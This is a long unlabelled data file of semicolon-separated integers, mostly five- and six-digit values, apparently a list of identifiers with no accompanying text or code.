48593;91091;93013;54099;87201;31961;62959;80385;81648;20545;81172;97480;39412;95754;106639;102460;34434;59302;99031;33532;65351;20699;86599;76574;86683;54571;20371;14720;54472;74296;62134;101442;22783;17331;87928;82042;70712;55672;52225;52813;12778;29433;71890;47197;106260;40070;12681;36972;57724;79075;43778;69996;84390;45389;30128;55856;14470;10060;45963;49226;84009;61356;80225;100120;87175;80229;26004;80899;78481;25564;101106;96727;82577;31357;15553;51727;33137;63727;69499;52719;55541;24546;85060;92502;10996;30637;47056;25098;38540;28808;28997;106724;37020;12072;16361;27064;19220;82169;41764;100805;91553;91381;79398;49817;63318;49374;19941;71486;97955;93797;88415;45544;14635;51658;75881;15612;27247;21264;34410;10144;45821;44289;106104;33050;107107;42011;106898;37808;23466;30166;34262;23533;42141;96253;102702;78373;100920;87761;49829;102656;68207;14165;85875;15221;76357;16173;13062;16169;77221;85410;105735;81294;94025;89395;51680;50154;65428;86947;67590;82241;28721;40128;12315;77012;15225;41812;42240;24954;86104;41968;42962;79006;92211;55388;30277;40271;32413;82299;61619;42427;18954;56881;49409;12738;13578;95832;87334;34504;30016;20480;81486;42439;55911;30355;52644;63271;84424;36074;35301;67470;66243;16301;90005;30347;14439;35680;103528;89911;58566;97539;80646;89069;85155;56786;80412;11916;101300;81587;24307;35512;77019;28320;14023;80362;47619;31379;49570;44734;55648;100498;41748;87524;29166;105748;95998;64463;11415;74536;72877;53737;56585;38679;74342;102215;27977;33435;84674;81560;21560;54152;39838;38611;99904;100610;104153;46411;86326;94064;52233;64068;95511;61485;90617;103487;13004;25248;62221;12900;103125;20249;21790;103230;89790;27214;60384;99755;104322;33909;20354;36146;30529;67712;25738;76149;76428;32483;43549;23371;74911;77210;50946;45100;40998;103513;16252;100278;16120;52391;51695;21483;84030;53902;43967;13623;76982;35299;28890;76297;34990;61653;45912;94960;93666;46979;15577;36023;38408;92655;41049;12475;104982;60063;28061;94434;17092;17320;86778;86604;72959;31841;53364;11805;75515;89610;94143;66321;106980;59817;21124;88700;13748;13406;75347;20688;40575;35313;40467;49414;89314;91217;55450;96290;11691;78284;75711;14756;90044;25783;14298;89650;11885;72878;43717;85633;24825;86851;94265;38401;49367;97744;80820;83426;46608;50821;54291;34064;100141;21838;75643;89551;76089;29635;62293;90745;83438;60145;93017;30990;68201;18596;34755;26151;18798;18145;64662;93533;54880;60833;42046;69873;49401;85971;97892;22850;39249;95024;34259;95448;50198;99214;90838;42633;38105;21751;65773;21901;36408;81937;92140;29608;13503;101978;29393;93131;36188;53109;50523;11767;53518;48807;92109;65311;20712;50412;96771;14531;76452;62739;28156;101552;64105;68997;101227;102963;100840;74141;53188;75895;73590;24029;61592;94078;30323;102928;81295;49689;12329;85274;106457;80873;102105;20338;44480;94251;58062;51560;97238;33162;47436;52322;68808;100486;59923;62112;18493;37966;13117;56525;61680;53292;77389;50276;97713;91581;22500;42812;96709;103339;18730;104296;39834;23200;72532;42257;102084;60239;44233;78616;92146;66367;104622;68059;21561;94879;68446;67776;77401;32183;71338;55311;16673;70408;52511;67084;30468;24558;106694;43303;76967;65814;45377;103299;83389;35801;49497;83539;96782;103990;20281;72306;30759;106760;13557;66086;46957;75567;92189;79927;58917;42636;10785;74554;24592;71228;22684;43458;11706;56446;15527;58014;38363;28567;31955;97470;44437;95428;58590;68979;58987;22337;33317;80169;21289;80964;83464;21545;84083;40343;23455;85205;87327;22973;100786;48226;25851;15437;200133;89306;31504;11610;77177;18120;28460;30690;81940;106075;61600;200085;26590;33322;16224;53551;96978;48917;23795;15587;42556;87320;86915;54679;11611;32720;10939;43901;86397;17001;88476;66380;57210;13237;82778;101287;51295;11324;68375;74194;95272;66705;48571;76027;14733;40464;54750;54378;92854;53534;27799;38467;75478;91421;103865;102796;61111;29339;35849;28577;31779;20650;17972;68630;72020;33854;39337;24909;43305;57226;70094;79924;45233;13227;23926;30304;49923;105997;67372;23239;51969;60477;52187;21066;40229;56638;51116;53414;64184;23410;38525;80546;71105;26542;27535;35142;73385;86295;47693;90182;73333;79595;46023;105343;92383;102482;15462;44025;45264;59378;106859;15346;60346;59537;62883;42527;46014;18138;20937;49438;41428;75787;16549;88909;103296;66935;102119;19201;31086;35627;19123;22326;68168;51246;41389;13354;103515;104757;85395;99050;32637;82485;16076;31134;79931;16640;69767;80924;60057;15491;63343;38244;61309;46591;15988;105373;95715;20331;46398;39667;31334;87380;30806;63591;104621;82350;56353;27803;25561;103099;92493;30514;94701;68597;54141;57894;85846;19350;62528;55277;54313;37686;200074;83770;28889;34081;83836;59477;100395;64666;32031;28256;102743;72346;69375;13892;22727;10037;33627;52961;22607;72269;99173;82763;66136;85283;96732;29851;26997;44492;41766;71652;57979;18290;57543;75850;24818;30010;34767;89614;65442;33811;97958;61746;102431;64892;97777;51884;103311;58209;92503;106292;48284;40559;87039;73122;96293;33175;55583;10383;35773;106956;32369;80175;19307;83277;81769;94921;23290;51404;81429;35123;33837;14276;77039;39804;100907;41977;16647;100624;43736;13555;106248;56433;92597;82458;74058;104799;21449;80735;68866;101513;94210;22220;62784;51486;91267;62843;32842;45418;64901;24041;21822;100160;34004;105600;42745;88547;75211;91387;85477;43793;96719;12998;70243;63884;59635;13949;67271;23435;62354;55022;88097;66811;39958;61966;51333;92305;28392;90665;93091;75494;83188;24078;44814;48478;15880;15254;78621;14697;50843;102414;52630;57097;102055;16114;37137;82215;104186;88538;85384;103754;41743;81266;65636;53916;24624;88820;37889;66504;67300;66946;44167;28277;70796;15925;70584;72137;103949;104817;46845;93706;19270;76782;25141;93616;36491;67151;99680;15677;93365;59242;68386;36645;34869;74429;105628;70514;90472;104331;34365;44693;76400;31902;68295;67133;63004;51562;76154;90331;84146;61039;22079;36599;49613;30767;11218;14661;19170;97311;62946;66678;28944;47095;58589;55748;90449;85579;41086;107045;47259;33232;72984;52959;103267;44887;28723;50636;26649;23389;34186;14898;102786;14206;34243;73255;87349;46748;103136;59460;64488;43026;66332;22971;13846;65620;19796;16457;60230;33414;22570;51714;47454;69559;67023;103759;34463;74534;33589;97129;65028;32548;30650;40733;89134;43013;33416;53947;66318;13902;37049;36822;52792;41738;76970;102362;34464;30228;22578;42181;102043;60978;47391;14808;56381;54272;85721;89486;32811;80448;83301;59905;28391;29000;58931;43277;59587;88122;12978;56434;71632;84566;82885;55545;32197;38206;24234;59742;30367;11718;70940;89076;60168;96542;47222;91572;51654;30533;33141;105362;65691;92991;95953;78474;91613;14283;83358;106702;106744;95544;104109;42707;97304;11526;75357;62540;46958;101179;69565;40892;103875;79239;65326;83046;22544;64357;76408;22158;87183;63445;73599;69382;56096;21971;80764;64078;80238;101732;68728;16993;20220;35540;39561;63522;92050;43943;25386;103314;79124;49364;63864;79515;65806;22335;69395;69391;55883;90112;26500;40011;90463;40615;14299;72348;52298;53104;33057;90101;64524;20905;63350;16593;106598;89564;66151;58854;38234;77599;67796;16716;60668;106460;26940;96574;64512;22404;107023;71989;12553;102086;42515;36862;92436;20462;69804;102579;21197;76352;78697;22889;89176;62760;33929;90113;10040;96694;18282;96321;50152;20228;20989;24300;14975;59472;57440;106756;48560;54930;25124;68224;75046;24538;102958;75817;84537;92833;85915;104705;101787;50312;71030;14406;17816;61925;62296;14625;37805;64945;25183;105660;59036;74167;66376;104895;41879;54702;24996;20121;72158;66720;17997;60400;74945;44763;90788;35364;62074;74917;89405;48783;102919;26028;53014;91086;64121;94474;91945;87414;59446;49625;37668;97711;52784;38161;97430;41035;23168;87394;43326;54590;62276;48210;89066;54247;68589;73341;74525;62537;52191;93249;74813;36818;32443;93323;87929;40926;44674;50289;50163;33321;10937;91356;55488;28139;56587;27059;48185;106747;11603;90312;99783;41402;61358;51809;82929;56408;25240;96824;31827;62629;50110;32825;15405;50839;56127;33951;36356;10540;18571;69941;64840;61988;26429;19103;66549;80444;64261;20693;49850;91632;96862;83790;67497;38420;103272;43988;72799;94348;105790;86775;58824;45830;73838;57691;102004;11250;86809;82790;46419;28744;25918;35638;44621;73930;104971;45887;39013;105165;88008;53230;90792;96859;13823;82427;35056;17599;15030;30549;50508;46053;106272;87493;73433;26987;65917;67128;27814;24070;102785;81346;48236;54288;38533;79557;51644;104422;69289;53652;13103;70130;27589;18817;69818;25880;68217;75172;38445;97204;103874;56315;65908;53724;58714;96343;88549;85419;45811;83462;100074;54980;49012;89983;74851;75885;45269;75930;105406;29509;89122;87105;44458;11331;77196;60598;43328;21486;55958;88971;35871;44455;31891;58808;64007;35046;59850;107101;73647;45847;31802;79040;69348;62801;16970;105490;75613;66437;82368;83291;52976;21038;54966;48664;45989;43582;27244;12092;46794;96667;46573;39885;70400;90729;21999;55238;11787;83411;55186;17677;78677;47844;51208;28740;82063;78306;70023;37374;84987;18206;29342;77118;17789;84911;45529;40804;100785;36680;87559;33120;41954;60867;97535;56311;42879;99989;86040;57817;38750;39113;100923;56849;103840;100999;10611;68534;61846;104108;85044;58221;56734;20305;61054;99702;88401;77294;102430;72863;39893;57349;96801;53077;94317;67476;106003;21620;61190;37488;73566;104735;77854;88001;35109;14465;77655;94456;14270;55622;26018;35442;79534;90189;74175;61217;25453;46258;27343;13164;97261;50819;43752;51256;104736;45626;57383;100430;38059;24970;79550;21997;51136;14361;71744;51183;65040;100426;69768;38334;53727;93258;34569;66371;21647;63076;32610;68709;49370;65187;95917;35012;49516;97095;66005;28434;41042;88443;37377;12301;48536;52660;69542;104129;91571;86468;93551;49985;18006;55665;77341;20099;97437;54384;34859;94965;42940;25304;22611;80942;14460;37484;82605;33912;51163;16493;101613;21835;56161;83096;99940;60170;40446;94749;53121;17751;26672;37846;63964;53564;44850;39445;40142;41285;78297;104291;51421;75155;45106;96150;13595;49432;39617;34904;57125;12377;80051;24204;88466;32914;12736;62065;33300;75777;81094;72320;95042;85658;28117;102109;66847;75547;52169;76612;14251;68403;22329;79438;58944;52025;42272;37577;48253;91869;32188;27666;56582;97114;79921;70389;21452;19497;23856;94602;50874;97403;84231;106098;70195;93876;66297;35611;84981;31082;90527;53639;93807;55394;18674;34428;37871;101033;47042;77175;28021;102983;33034;37956;24327;52946;15780;16814;100656;18995;75726;97621;81385;93874;12621;86273;30487;42000;66074;100327;63745;59152;92088;22739;10827;54506;59980;27742;20392;27922;77236;95860;50473;57592;11243;50894;23260;83066;46866;44142;102451;89998;43208;75332;62220;91790;24123;39424;50266;83802;100932;64546;33097;71984;59993;95667;90862;36366;22367;10455;78172;49522;30757;23096;10847;16433;32878;75977;96219;96027;81864;69522;88831;21367;92202;82842;90265;31491;99121;75366;85767;92120;57174;15949;46572;22537;103521;21823;47091;27451;69096;37192;31532;96552;40413;101098;72065;96691;106638;73588;95675;83974;69576;49345;35695;30512;43819;44581;28665;57462;83998;30956;26175;41400;14983;71397;104802;20328;19878;48516;85198;61604;61783;37390;72920;44253;106270;20503;82261;14705;69670;40376;36249;100669;73478;69677;19282;58269;11407;26844;57792;94895;28176;31002;12590;53164;40051;96287;33366;46637;62605;26684;65410;93717;45841;11286;67925;48708;11992;74550;72790;14763;63010;65265;82231;53544;52261;10500;93325;86628;63534;92346;43596;85930;67006;17397;57442;25004;14041;102211;60100;29402;71857;59730;101915;97361;42482;29388;26961;67297;21870;37705;27933;41557;46785;27360;36226;14008;24660;14268;79750;33671;89062;52394;30635;60051;28234;65976;91924;45661;87044;74477;60397;72193;70551;27550;54388;80037;75760;11326;51920;64543;47428;32701;87813;95713;83088;96153;41483;94355;16657;64610;95463;60595;99749;86054;60061;94500;10239;20796;105452;13969;100808;50857;72659;47829;53447;88707;86421;23284;104937;53661;50598;17453;78038;52417;51871;27229;42418;44609;105197;106335;81403;84489;56276;104474;100352;65900;82578;53644;64656;61179;77495;34500;74012;102237;28359;66251;29936;50280;29052;24962;95714;83365;96170;89406;19189;89762;101059;33937;30668;80347;72493;61650;62900;34679;39990;86456;93996;105887;51229;35842;29653;91543;72497;89382;99305;94225;72712;65197;16572;94297;31289;68901;33823;66650;22648;43656;25401;52244;61293;40308;15487;52931;62315;44671;82293;25371;49664;38790;12235;91847;38542;32584;56137;33006;97187;44071;31067;31095;74275;67852;26047;89303;15220;10181;68163;35728;33545;83575;86714;74744;97250;19132;90898;36246;26851;73046;95774;44451;59489;50630;71445;74380;61704;12405;68252;34849;28738;11566;12003;67624;72800;54236;15273;81953;85685;80953;58998;31243;65291;66146;61661;14868;43695;73903;43599;24512;34924;34117;80478;25437;36121;103213;75198;22438;17002;50376;30008;85188;93134;30129;13874;54218;93464;53819;57873;36333;33606;93343;11799;76465;75477;59987;38490;57143;59312;93403;13175;92855;26262;39820;32283;44991;102991;96923;59828;18316;26857;69546;106573;92755;53002;86993;75790;101164;86075;28834;32514;35193;24131;52773;91757;86517;18406;87187;97799;102757;62364;86697;31529;42408;51907;34844;106763;83293;23860;21064;16273;48575;19372;48419;34589;44104;63137;64779;76675;40814;64848;79755;16941;76773;37858;33725;33644;85261;105226;75242;83532;54047;26349;54645;99831;105162;37995;74209;100156;86558;95750;47447;31028;100273;90009;16607;52031;82928;56046;39229;69100;39340;56458;74136;86300;34492;33389;105016;22319;50053;97310;88676;61878;104899;18499;33072;26453;67225;35047;48652;81521;50514;20598;50283;30746;86020;59085;60147;92658;76305;11951;45283;64531;71117;56906;76611;57672;29157;56660;104902;73396;25200;11095;51349;100472;12473;38284;36872;66052;47723;96013;69570;47672;43083;27085;85116;70916;47143;71458;56259;92286;83900;46692;60843;39034;106268;100592;71043;99881;100729;43913;94358;35676;23552;35971;90825;97360;35567;53042;47891;20805;56364;26816;94656;45734;14194;86725;23684;52197;58039;77316;79181;73114;31308;40358;15037;41874;32166;21119;19952;10186;41703;66193;13506;74848;79135;61431;60815;105743;32348;42167;14191;55804;29314;86644;37112;34946;65526;41057;86755;76709;93266;80082;79912;59263;16051;90322;65133;89463;16274;49792;48964;24761;43088;53959;105290;22054;76734;66041;57704;39010;33291;18494;51900;10908;102588;64195;15324;27405;27152;79567;45922;30449;102540;13643;13877;40504;83364;16687;97971;68961;93041;57931;21570;18340;74886;32565;73249;90187;68484;45278;34292;59710;89251;61990;65528;39487;40609;93035;100710;12107;61538;19703;22063;64652;28775;41304;22523;88396;74944;99549;94057;40390;59076;94089;93728;44182;41426;44113;73796;52564;48983;18715;104526;63327;45740;93906;82464;19648;74215;26380;59734;43118;73508;22586;101611;41672;93174;70337;61590;102867;54726;33665;40444;40053;71815;74575;58545;106823;52604;47378;63229;67462;41907;18786;49258;65213;86541;25286;78658;39017;87801;79144;53140;19209;64122;75237;90607;39300;104236;19863;33798;14623;79355;11966;87691;61371;68216;71527;57312;37435;13456;47893;54309;28874;100930;73505;83163;55580;39018;47137;57594;92049;60972;56409;37588;52695;60291;79345;60458;68865;47234;70501;39937;73552;15082;34709;56583;97927;100966;52371;41669;11420;70399;54091;28381;53746;60217;32499;90743;62441;106441;86583;29527;86570;100582;50493;65591;43760;38248;36225;86546;96500;46085;51200;87606;24372;81662;46495;10004;34486;27838;92387;95972;86194;55062;52937;20891;37409;104583;11257;93157;10429;84512;29169;41423;90601;14105;76628;57767;68421;64753;79523;83763;90942;68043;89904;85572;67284;50026;30510;91423;49030;44150;105656;75436;19448;102668;41989;20920;75830;12872;11460;62642;92252;19799;52749;78360;14718;41442;39575;61826;31594;11391;70894;43291;60734;94281;17798;25190;87134;32786;36357;71224;51484;104999;78995;33949;15420;65617;59390;84500;16319;101805;67433;16368;74670;44704;39926;66016;64949;53928;20490;78822;78452;31537;59125;81683;11489;99996;26102;23328;86968;32896;20600;29520;63293;19908;70485;20447;76688;11377;79147;11168;64098;79386;42537;44724;27868;68850;53111;30977;76280;13651;86033;105480;94260;53880;43973;25446;49947;17181;11882;43952;101766;60360;81243;11730;50001;22410;34927;15904;25838;43244;36465;26158;50560;22015;74700;27261;91912;91504;89024;15962;50552;26323;81459;46945;85794;94897;75060;84582;11452;39404;79159;55176;64285;17030;69477;66248;28190;77817;50959;33803;91617;26194;16979;51977;69366;64146;65933;90511;106228;104630;26822;30768;57936;46857;50108;106396;27602;50885;70008;28191;21248;104100;26094;59603;27441;36656;91555;40965;65486;24544;57322;32491;93374;81881;55420;15666;45251;25956;12865;67907;53595;26235;40684;39035;51563;55493;14791;28526;14009;91189;81480;36820;59137;90724;48177;106515;57386;37998;91153;42355;94628;20673;35081;100787;36697;22795;31273;30453;43279;36576;31711;29057;57274;89825;103748;55419;85428;22434;27515;49334;25427;29473;23729;34683;91030;33523;73980;22295;55173;60881;90336;99341;19994;73968;26161;79528;53944;39821;97098;84635;91325;97786;28550;103302;53882;16984;34122;10494;32210;87640;77047;71342;63955;100942;73457;82416;50188;14117;59623;71372;31386;104536;87372;17127;82336;31141;76144;88089;93032;61953;79142;62135;65511;77262;101651;55533;91780;29304;82528;36563;86164;47467;69749;30877;41212;38173;23006;22843;37364;103045;80568;63584;69754;61313;41625;14689;75637;20996;64896;32694;92137;15372;21743;62000;11597;70690;49778;15853;17044;80453;42041;44868;96819;58364;24745;83110;97296;12893;102727;68115;57556;103150;36726;89115;53767;15757;39853;86812;21097;17609;26885;101861;45867;99003;28860;103750;73807;71355;16152;23890;99850;91660;104766;56349;28724;25701;86028;48439;20690;105605;44758;11384;60693;52413;64469;72146;59650;86451;102403;94212;15910;103775;75054;73818;36006;92363;65460;41475;71937;97751;86476;76837;39698;42613;83540;21027;87975;55162;103953;105127;37763;74858;40661;100005;91833;45091;70117;55857;92797;54870;49895;61240;91995;100559;99625;80868;38425;43856;65689;27168;11435;25064;27755;33988;31914;60250;88176;83298;96641;81325;53141;10287;76255;65998;44883;32669;17653;21768;30486;40477;75157;97067;72919;14069;82397;85753;75115;74929;25289;47157;106644;50527;12831;70711;63369;40922;20215;67290;30349;74530;50586;35129;28558;55779;28437;35821;13801;70332;63122;30194;54542;23015;106078;71112;79019;79980;62392;31105;67169;15102;53696;23875;33624;27256;49844;47321;55735;76156;89277;13580;22495;85713;86731;100522;46875;20284;12545;47099;105460;75840;31600;13186;59194;32304;93081;33127;74324;91896;75422;70246;34488;59421;49296;25443;20113;23957;57544;26531;16285;76026;80615;88649;71081;70003;69007;21075;39003;22007;25080;28082;73273;100927;83287;58766;89686;18604;30850;103614;66003;99081;18411;62933;60521;33461;15150;53219;25722;70789;70279;18315;34032;91608;105966;66442;71016;44212;40817;16084;73222;11356;87932;104454;75337;102359;21950;32934;57444;106201;74938;101524;64225;28501;73499;23915;91761;48441;87261;104731;68281;87314;18081;34128;103432;99418;60148;33180;42762;80719;10589;22078;82252;82247;101653;20310;36396;70848;90497;64564;42659;64607;71542;54856;105643;74631;63069;40528;17544;10091;86554;106085;89327;70605;90938;200011;104347;78257;35599;43885;11073;60493;63443;86380;71005;106385;81571;97259;21530;38493;81697;47593;22512;67931;99284;81948;65819;18483;64086;81043;101131;28799;97985;78261;52021;33741;82573;31907;62238;62885;103607;74426;84369;31233;95891;16643;10857;23718;26804;55428;95359;49846;57537;85078;24388;61166;11590;103323;36805;19247;42389;12001;35594;33765;45056;49763;90628;83115;38224;28062;105647;34470;56623;43353;73020;87558;92177;91921;34875;72777;101624;44027;51936;43080;53530;13050;92004;81337;87002;54373;25968;38697;46632;29189;100231;93893;99430;10692;76917;101952;17703;73440;79715;90268;69361;51094;36190;26030;36500;71509;22861;26110;87271;58634;74509;97731;51151;89662;35615;47481;43586;33016;71856;17086;25659;90247;91220;71565;104849;89164;29627;50618;92921;78350;25624;29108;28041;87413;74330;76555;93791;76184;20875;47077;63118;99475;25928;103896;85649;46127;36533;34497;31148;81732;56234;18639;40081;61621;92924;34446;29866;78250;42126;49924;57575;20884;31270;37262;16185;52320;16172;88473;54848;93731;18495;42776;57025;16335;86903;22414;85322;59795;53523;51570;63923;82671;70127;40656;59498;104889;19701;12477;68105;23932;38273;78821;29729;70673;44329;56122;34181;34525;73595;59589;50627;12089;13604;94088;74683;92300;41407;26956;105907;97136;37184;34692;90396;26105;86689;71730;56591;68004;103292;50621;84360;21347;84822;26766;94794;85185;45985;17725;85565;99669;21211;22350;33280;14002;59648;17274;96208;86260;76208;61747;27285;19528;102325;12056;100576;96823;30926;69315;60045;62711;78489;49371;31990;77471;47293;22581;24788;35923;37839;35286;61267;56082;95689;69998;57796;69961;18356;91470;27278;44304;18241;14290;64716;11337;58048;24844;19409;44799;38563;90985;31331;92902;10994;27913;14059;39829;27312;19034;71546;11598;105951;40893;40436;28649;57532;26794;76168;76487;100962;39962;97283;44681;82633;20795;25383;36539;18864;105961;10988;56966;18186;54641;92743;75266;74433;99677;73356;83235;44719;87461;74164;73345;73445;57653;35936;16133;25852;38721;82739;13024;96617;54176;29844;20879;64198;38172;68585;93073;25578;99194;74613;71406;96267;24834;103572;45499;96741;64180;12755;83522;35238;64028;39322;47018;23207;45543;16421;59259;85750;46367;47082;38715;19523;54149;35118;28037;102367;36529;59813;79993;67813;66011;24726;13649;15139;16872;78465;27223;94896;63466;104512;32662;40064;59429;43958;95316;105458;23569;103541;51674;40012;51489;54729;21193;39076;44389;79224;105812;99602;42738;100460;78754;80195;59765;103256;63543;66996;62428;25245;45615;83143;69224;60460;26552;13274;36847;42428;79797;14678;75666;83130;16262;38535;65257;93651;82689;63632;84258;15615;101641;84769;59736;23763;63110;66182;50285;46459;18037;61352;66585;22677;77659;51734;51480;19960;45328;10559;103457;22011;89317;59973;63295;83810;104201;21139;86043;79318;29569;45391;30101;72207;28439;82122;80583;14063;22892;93487;86766;102254;103603;26200;24941;99158;102182;71059;73784;94294;47872;55739;59570;11510;99231;86992;61618;28352;22156;42840;102834;65746;74351;55614;72675;10917;63116;95982;70954;29975;69052;86613;43262;30483;21786;101827;11559;69449;41028;68078;16628;31580;95530;81194;90681;92087;68373;105637;41226;63968;13925;57572;15819;89051;95656;55602;10056;40614;57251;46622;88159;66810;15005;32148;91396;38782;87546;75811;43865;31855;18993;71835;60315;31573;56327;39552;62153;56295;42665;99303;94460;91970;26058;79341;38530;69879;24313;93107;49366;28113;51408;105500;71925;86315;46942;11108;101056;58857;73556;27371;35739;31717;38665;94125;19801;55106;79686;67209;25906;64799;68251;33229;84765;96123;63938;14177;31018;84264;96406;84339;76805;72887;50089;63612;63286;84647;50773;30788;59130;91867;89799;12271;46569;39473;15766;36473;13010;85382;46374;11464;66314;78982;50445;76493;30640;73371;17257;75741;69816;42847;104187;65176;18057;16344;64422;59326;74523;62288;89206;17208;89716;16551;16697;96106;36719;74459;56326;39603;22366;25587;60030;42395;36036;100997;30600;61758;47252;19699;80778;200012;81520;26729;80292;64984;103580;72597;47634;40239;58315;72184;58602;14149;62089;36032;41791;30686;17689;52717;105445;44002;101825;61465;18366;106380;51850;52094;14291;94609;48280;60265;87096;68229;76096;53521;32572;60062;55695;10821;87200;58993;47826;61076;82384;82349;18877;33113;94583;38574;68264;93248;62415;100609;54719;100379;75028;92013;27449;99212;66301;51878;49755;13059;106991;62841;52448;72241;16122;25384;69498;61664;70907;86943;46773;27764;60387;52123;49835;70694;74438;63625;12653;67488;19177;81329;37088;64909;71011;19572;31638;102210;43798;50957;22947;101870;35026;60003;36940;27491;66313;96102;21618;51868;75079;54434;60285;23657;49841;63983;63630;87724;15867;33429;102388;75723;87745;19305;21664;70955;57961;69243;55581;96064;37247;61978;67918;104969;11360;57113;97348;58219;47562;13109;13087;46029;104581;103169;42415;60445;81585;103310;20527;27618;89863;37153;94643;74491;100745;77506;51035;74641;88140;24342;15602;64906;83486;12693;89065;57740;50858;57772;11214;33538;28825;96597;95817;72224;45773;42725;51422;83517;61543;89535;103579;28301;94410;38601;54790;56206;29825;89379;52831;94567;70687;104255;13356;63960;99053;100307;47335;81911;92751;91973;51649;47845;76793;70084;47429;50061;62994;51950;74105;16049;101233;44120;72743;52838;33788;77635;63609;13827;32641;41159;21683;53345;38356;35279;58107;22192;83897;86642;35585;46394;31585;52616;71725;66765;25452;79897;105759;47763;41621;94058;92227;70939;20882;85856;44206;60741;14564;21796;75746;42286;46876;76191;14685;47506;78365;54996;96869;79080;69462;13703;15055;100329;86767;75231;39650;36435;34033;45786;10001;39241;22755;13584;77671;40003;16923;14849;81387;93968;12857;62833;20399;83138;25170;49205;49115;51915;50287;54454;29579;86819;53631;19995;44564;85405;84813;69203;61412;97677;58370;104957;65796;75800;16448;78488;32540;44978;36692;80644;90375;56104;49373;78536;86732;101248;56425;31241;45764;100083;71384;31237;49907;29312;91477;86381;74168;30162;55978;52381;10645;100268;72658;16888;94450;96890;86948;20574;68712;34508;92795;44700;43098;27580;19142;15774;46049;49238;103032;105742;90255;106361;82849;91063;26611;44537;54251;30999;106792;16877;56702;105436;67828;23366;12495;43373;67257;35815;28360;60228;13380;58259;39610;72874;25481;104342;52205;105069;106961;105713;15799;103888;16239;63077;19746;26286;48277;14957;58683;72209;56520;50656;106894;83902;84246;21316;35010;87342;51157;68890;100689;27986;61355;85520;44373;100872;103752;59257;62790;80239;99406;52419;54666;30761;100240;51677;97110;38287;77901;103959;11519;14505;55560;77153;104251;67251;17732;29359;53622;84292;95773;44588;60569;72514;90283;32909;54928;64859;81892;50804;40387;94932;70338;10484;89523;82232;58627;47253;32762;86401;57941;105242;78059;85465;51235;95615;15266;15169;11105;77297;29938;72478;81467;74827;19637;10846;84824;100597;81360;71620;43533;66287;12997;55481;94824;61383;36836;103018;81813;14019;49341;44685;84864;74283;14970;38228;62987;23373;70470;68413;101781;92703;18778;66022;72885;24175;44813;96185;60054;72236;57645;96019;64049;32636;71636;65419;26777;96323;66695;20361;81966;105802;46084;84573;17315;19911;57372;20562;86006;79751;50007;34519;81272;41056;89841;32859;60870;63368;69779;54426;36708;50576;57354;60747;28233;10277;97379;46226;35161;30857;63068;38747;24843;83023;25014;53685;13311;41912;97865;54217;56228;100737;47505;60107;91304;106383;76283;90050;20278;24880;94352;16622;58710;99106;100534;104066;77345;97631;46263;68802;25991;50293;104955;91618;63657;20072;52344;38340;55918;81457;86637;82500;17581;64123;103630;70244;92780;21246;48879;54006;18804;95368;40989;87795;102888;60552;72315;70284;64471;92107;83337;40532;48590;43637;70524;34451;35898;94372;61744;63070;76651;81465;94805;92987;42413;20261;97505;103480;14865;104053;36543;80149;62832;81656;70667;26341;58966;103551;59138;52020;99366;81291;12629;24349;81342;99482;86941;45270;75967;95421;33055;66078;104738;64211;84903;11424;96429;93298;37561;100458;61310;96449;46871;103090;96950;14108;16598;58951;54021;84016;31985;21600;20127;32021;58698;53265;32066;73116;90300;84106;62050;40564;70465;20102;45809;68418;19113;81135;67255;49874;57597;101923;70150;61496;52370;90174;34661;20053;71072;85757;26254;70239;50854;67345;43216;51254;51574;27105;39906;57699;21875;80958;71063;42637;88490;36655;45345;101478;52957;72964;95308;32464;30011;86874;79705;70153;92672;39394;47695;28055;53708;71133;17549;33864;76285;24405;25360;14521;101748;48675;101883;50401;44114;105818;83228;37026;97476;23781;12793;34456;104779;75093;55997;52143;24822;21841;22070;83509;59665;52284;12947;81226;52822;73956;76699;70477;66898;33825;100287;56235;52829;23016;97726;94592;84131;65581;102128;11061;41239;61960;48454;58862;30230;47747;83215;69308;44584;32275;27184;40270;54670;66439;92782;37809;19062;85811;75676;46542;20227;29778;21254;85021;61924;102912;79123;85709;86846;80861;93582;94451;14989;33813;27712;78894;52133;92996;16945;22852;21020;91893;101578;101326;15235;35542;79990;71758;91560;103558;80909;10430;82851;65241;11308;46676;58135;22258;71325;87119;37401;94152;44979;55026;40427;44404;70748;25372;87472;11808;75561;69708;71756;71625;65336;66341;42694;105239;25129;106177;54753;41861;68367;106669;73351;38570;25061;40588;90148;19323;45660;83177;12795;18350;105824;69186;49381;41164;13652;99037;18722;27270;87255;81765;105335;105803;93966;66839;67612;81536;79881;78540;87224;69791;105258;71020;30206;10508;65454;51386;47029;50884;106667;16826;104178;100681;85505;30091;86148;14798;32646;37420;36949;74407;94158;54612;11211;89414;70152;12931;14695;22788;97465;85776;35460;88641;36970;11851;53211;40353;37078;58051;65513;68268;102332;92128;94589;70168;62013;22363;37206;97588;18505;45335;57721;83553;38628;57844;57281;94887;25733;26056;34998;61893;17017;65830;60563;24723;20434;55009;61763;77204;48913;70842;82592;65683;49013;43974;54233;99821;23135;84735;43229;43825;49839;81013;22857;91287;37343;14213;92735;65598;20477;56361;39746;77561;59027;42384;102505;77517;69687;81902;89923;89605;85240;73454;77873;40005;94636;94034;44600;45556;24082;58339;27785;101477;77278;33242;41985;75620;46976;59551;101565;52159;34251;51387;46312;36181;56837;86507;17294;106632;105096;79389;12062;67014;26969;106841;36133;50245;44946;22309;89731;75116;80770;56177;85077;73604;96317;23975;24988;18193;102469;103524;90551;38388;94201;99458;80327;79292;50482;24109;31655;58564;86924;61158;87484;84696;66298;94971;21805;97585;76077;45000;23543;71216;43109;93287;53280;73056;88099;37341;16570;15132;49803;24561;77784;21969;96703;21871;101443;105315;60648;54917;37014;73852;91635;41067;56845;49559;64062;91445;15622;38125;68938;11764;93914;100826;52241;53257;41474;97040;13204;68825;31368;29789;82339;42362;80200;33506;81286;75022;11323;21304;45896;69195;48725;21328;42816;68340;75277;22675;88060;105499;46938;18790;84805;62556;46151;35707;78977;19049;61586;23936;70557;67008;35427;51308;104022;59775;30779;72398;29783;55406;12395;78871;103698;66096;35203;80398;80661;26828;87073;45965;104580;83286;53907;44833;59155;68753;16966;70548;87894;24515;43204;85724;84433;54308;55590;61905;45921;100892;79066;41441;11133;56230;14891;106316;87895;64561;63050;21205;53674;72511;48847;67705;11644;104704;91627;51879;82600;64822;63096;68563;10812;106459;71545;80393;86994;76727;83912;104885;16359;105214;75956;61041;96952;78701;11905;76327;73627;88103;54445;57222;57172;27073;50588;12716;50706;53198;96184;74970;16197;77154;106974;27319;52868;69329;54349;35863;39361;66479;17033;93558;40195;96296;41894;13449;64660;106562;54257;17533;90996;82759;91989;86277;20571;86352;78569;14961;69174;94550;96112;94517;54547;